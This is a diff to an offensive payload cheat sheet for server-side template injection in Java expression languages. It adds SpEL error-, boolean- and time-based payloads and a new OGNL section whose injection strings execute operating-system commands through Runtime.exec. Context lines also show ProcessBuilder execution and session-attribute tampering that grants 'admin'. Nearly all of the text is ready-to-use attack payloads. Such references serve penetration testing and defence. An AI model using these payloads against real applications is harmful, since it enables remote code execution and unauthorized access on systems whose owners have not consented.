|
35 | 35 | - [SpEL - DNS Exfiltration](#spel---dns-exfiltration) |
36 | 36 | - [SpEL - Session Attributes](#spel---session-attributes) |
37 | 37 | - [SpEL - Command Execution](#spel---command-execution) |
| 38 | +- [Object-Graph Navigation Language](#object-graph-navigation-language) |
| 39 | + - [OGNL - Basic Injection](#ognl---basic-injection) |
| 40 | + - [OGNL - Command Execution](#ognl---command-execution) |
38 | 41 | - [References](#references) |
39 | 42 |
|
40 | 43 | ## Templating Libraries |
|
46 | 49 | | Groovy | `${ }` | |
47 | 50 | | Jinjava | `{{ }}` | |
48 | 51 | | Pebble | `{{ }}` | |
49 | | -| Spring | `*{ }` | |
| 52 | +| SpEL | `*{ }`, `#{ }`, `${ }` | |
50 | 53 | | Thymeleaf | `[[ ]]` | |
51 | 54 | | Velocity | `#set($X="") $X` | |
52 | 55 |
|
@@ -367,9 +370,12 @@ ${ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(val |
367 | 370 |
|
368 | 371 | ### SpEL - Basic Injection |
369 | 372 |
|
| 373 | +> SpEL has built-in templating system using `#{ }`, but SpEL is also commonly used for interpolation using `${ }`. |
| 374 | +
|
370 | 375 | ```java |
371 | 376 | ${7*7} |
372 | 377 | ${'patt'.toString().replace('a', 'x')} |
| 378 | +${T(java.lang.Integer).valueOf('1')} |
373 | 379 | ``` |
374 | 380 |
|
375 | 381 | ### SpEL - Retrieve Environment Variables |
@@ -440,6 +446,66 @@ ${pageContext.request.getSession().setAttribute("admin",true)} |
440 | 446 | ${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())} |
441 | 447 | ${request.getAttribute("a")} |
442 | 448 | ``` |
| 449 | + |
| 450 | +- Error-Based payload: |
| 451 | + |
| 452 | + ```java |
| 453 | + ${T(java.lang.Integer).valueOf("x"+T(java.lang.String).getConstructor(T(byte[])).newInstance(T(java.lang.Runtime).getRuntime().exec("id").inputStream.readAllBytes()))} |
| 454 | + ``` |
| 455 | + |
| 456 | +- Boolean-Based payload: |
| 457 | + |
| 458 | + ```java |
| 459 | + ${1/((T(java.lang.Runtime).getRuntime().exec("id").waitFor()==0)?1:0)+""} |
| 460 | + ``` |
| 461 | + |
| 462 | +- Time-Based payload: |
| 463 | + |
| 464 | + ```java |
| 465 | + ${(T(java.lang.Runtime).getRuntime().exec("id").waitFor().equals(0)?T(java.lang.Thread).sleep(5000):0).toString()} |
| 466 | + ``` |
| 467 | +
|
| 468 | +## Object-Graph Navigation Language |
| 469 | +
|
| 470 | +[Official website](https://commons.apache.org/dormant/commons-ognl/) |
| 471 | +
|
| 472 | +> OGNL stands for Object-Graph Navigation Language; it is an expression language for getting and setting properties of Java objects, plus other extras such as list projection and selection and lambda expressions. You use the same expression for both getting and setting the value of a property. |
| 473 | +
|
| 474 | +### OGNL - Basic Injection |
| 475 | +
|
| 476 | +> OGNL can be used with different tags like `${ }` |
| 477 | +
|
| 478 | +```java |
| 479 | +7*7 |
| 480 | +'patt'.toString().replace('a', 'x') |
| 481 | +@java.lang.Integer@valueOf('1') |
| 482 | +``` |
| 483 | +
|
| 484 | +### OGNL - Command Execution |
| 485 | +
|
| 486 | +Rendered: |
| 487 | +
|
| 488 | +```java |
| 489 | +new String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()) |
| 490 | +``` |
| 491 | +
|
| 492 | +Error-Based: |
| 493 | +
|
| 494 | +```java |
| 495 | +(new String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()))/0 |
| 496 | +``` |
| 497 | +
|
| 498 | +Boolean-Based: |
| 499 | +
|
| 500 | +```java |
| 501 | +1/((@java.lang.Runtime@getRuntime().exec("id").waitFor()==0)?1:0)+"" |
| 502 | +``` |
| 503 | +
|
| 504 | +Time-Based: |
| 505 | +
|
| 506 | +```java |
| 507 | +((@java.lang.Runtime@getRuntime().exec("id").waitFor().equals(0))?@java.lang.Thread@sleep(5000):0) |
| 508 | +``` |
443 | 509 |
|
444 | 510 | ## References |
445 | 511 |
|
|
0 commit comments